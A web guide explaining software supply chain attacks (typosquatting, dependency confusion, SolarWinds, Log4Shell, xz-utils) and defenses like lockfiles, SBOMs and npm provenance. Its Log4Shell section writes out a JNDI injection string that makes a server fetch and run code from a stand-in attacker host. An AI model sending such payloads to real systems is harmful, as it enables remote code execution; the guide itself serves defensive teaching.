Skip to content
yutils

How Supply Chain Attacks Actually Work

npm typosquatting, dependency confusion, SolarWinds and Log4Shell as the modern playbook, the xz-utils backdoor, lockfile vs unpinned versions, SBOM (Software Bill of Materials), and the actual defenses (sigstore, npm provenance, dependabot).

~10 min read

SolarWinds (2020), Log4Shell (2021), the xz-utils backdoor (2024) — the biggest themes in modern security. Not direct application attacks but bypasses through dependencies / build pipelines. This guide covers the attack types, real incidents, and modern defenses (sigstore / SBOM / provenance).

Supply Chain — What It Is

The actual dependencies of your application:

your code (1%)
  + npm packages (50%)
  + transitive deps (40%)
  + Docker base image
  + CI runner (GitHub Actions)
  + build tools (webpack, esbuild)
  + OS packages (libc, openssl)
  + cloud provider (AWS, GCP)

→ Every step is a target.
   An attacker can reach production without touching one line of your code.

Attack Type 1 — npm Typosquatting

Publish a malicious package with a name close to a popular one.

Real:   lodash, request, react-router
Fake:   lodahs, requst, react-rooter

Victim: typos into install
        npm install lodahs   ← meant lodash
        Malicious code runs (postinstall script)

Examples:
- 2017: "crossenv" typosquatting cross-env — 700+ downloads
- 2022: colors / faker npm-time tampering
- Dozens of new typosquats found weekly (npm blocks some)

Defenses:
- Double-check package names (especially new installs)
- npm dependency-check tools
- Private npm registry (mirror) with whitelist

Attack Type 2 — Dependency Confusion (2021)

Alex Birsan's discovery:
Companies use internal private package names (e.g. @company/internal-utils).
Attacker publishes a public package with the same name on npmjs.com.
→ npm install picks which one?

Default behavior:
  npm picks the higher version (or confuses private/public)
  → Attacker pushes version 999.0.0 → wins selection
  → Attacker code runs in company's internal build

Impact: PoCs succeeded against Apple, Microsoft, Tesla, and 50+ others.

Defenses:
- Specify private registries (scope-specific registries)
- Use a single org scope for internal packages (npm reserves them)
- Lockfile + integrity hash verification

Attack Type 3 — SolarWinds Style (Build Pipeline)

2020 — SolarWinds Orion (network monitoring SW).

Flow:
1. Attacker breaches SolarWinds' build server (means unclear)
2. Injects malware (Sunburst) into the build pipeline
3. Legit build → legit sign → legit update channel
4. Distributed to 18,000+ customers (Microsoft, FireEye, US gov)
5. Malware dormant for 9 months → C2 callbacks

Impact:
- Compromised US Treasury, State Department, etc.
- Detected by FireEye during own security review (months later)

Lessons:
- "Trusted source" itself is the target
- Code signing isn't enough — build process integrity needed
- Hence the rise of reproducible builds / SBOMs

Attack Type 4 — Log4Shell (2021)

Log4j (Java logging library used by ~every Java app) had a vuln —
JNDI lookup enabling arbitrary code execution.

Trigger:
  logger.info("User-Agent: " + userAgent);
  ← userAgent = "\${jndi:ldap://attacker.com/Exploit}"

→ Log4j auto-queries attacker.com's LDAP server → downloads + runs Exploit class

Impact:
- Almost every Java system (AWS, Apple iCloud, Steam, Minecraft, ...)
- Emergency global updates upon disclosure
- One bad default put half the internet at penetrable state

Lessons:
- Transitive dependency risk (you didn't import it directly but it's in there)
- Dangerous default-on features (JNDI's LDAP lookup)
- "One library line" can put half the internet at risk

Attack Type 5 — xz-utils Backdoor (2024)

2024-03 — "Jia Tan", a maintainer, planted a backdoor in xz-utils.
- Played a normal contributor for 2 years
- Got maintainer rights, then added the backdoor
- Bypassed SSH server authentication (OpenSSH links to xz lib)

Discovery: a Microsoft engineer noticed SSH was 500ms slower → traced it.
Most Linux distros' SSH servers were on the brink of compromise.

Lessons:
- Social engineering risk on OSS maintainers
- Under-resourced maintainers burn out → welcome new contributors → infiltration
- "Years of normal commits" then attack — code review alone can't stop it
- A lucky catch — other similar backdoors may still be undiscovered

Defense 1 — Lockfile + Integrity Hash

package-lock.json / yarn.lock / Cargo.lock:

"lodash": {
  "version": "4.17.21",
  "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
  "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
}

→ Install verifies the hash automatically.
   A tampered tarball at the same version is rejected.

Commit lockfile + use npm ci (lockfile-strict) in CI.

Defense 2 — SBOM (Software Bill of Materials)

A list of every dependency (transitive included) in your application.

Formats: SPDX (Linux Foundation), CycloneDX (OWASP)

Use:
- New CVE → search SBOM to instantly identify affected builds
- US gov / large enterprises require it from vendors
- Automated tools (Trivy, Grype) scan SBOMs for vulnerabilities

Generate: npm-cyclonedx-plugin, syft (image scan), cargo-sbom

→ During Log4Shell, companies with SBOMs found affected systems in
   minutes. Those without took days.

Defense 3 — Sigstore / npm Provenance

sigstore (Linux Foundation, 2021):
- OSS package signing infrastructure
- cosign (image), gitsign (commit), npm integration

npm provenance (2023+):
  Cryptographic proof that npm publish ran from GitHub Actions
  → Verifiable: who built it, where, from which commit
  → Detects "build server attacks" like SolarWinds

Enable:
  --provenance flag on the npm publish step in GitHub Actions
  npm registry verifies automatically

→ When consuming: npm view <pkg> shows provenance info.

Defense Tools

ToolRole
Dependabot (GitHub)Auto-PR for new CVEs (dep version bump)
RenovateSame role, more configurable
npm audit / yarn auditCheck known CVEs (current deps)
Snyk / GitHub Advanced SecuritySaaS, richer CVE DB + remediation suggestions
TrivyImage / fs / SBOM scan
Socket.devReal-time block on suspicious npm install (postinstall analysis)

Common Pitfalls

  • Not committing the lockfile — installs diverge between CI and production + larger attack surface.
  • "audit passed, we're fine" — audit covers known CVEs only. SBOM + runtime monitoring still needed for novel / private vulns.
  • Trusting postinstall scripts — npm install alone can run arbitrary code. Consider --ignore-scripts + scoped registries.
  • Updating only direct deps, ignoring transitives — 90% of CVEs are transitive. Regular audit + dedupe.
  • Assuming private repos are trustworthy — insider threats / compromised credentials. Zero-trust + per-action auth.

Wrap-up

Supply chain attacks are fundamentally about bypasses, not direct hits. Some realms (xz-style maintainer attacks) can't be fully prevented. So modern best practice is layered defense across the whole chain (deps / build / runtime) + SBOM for post-incident response capability.

Practical: commit lockfile + Dependabot + generate SBOM + npm provenance + regular npm audit. Large enterprises also run their own npm registry mirror + Vault dynamic credentials.

Back to guides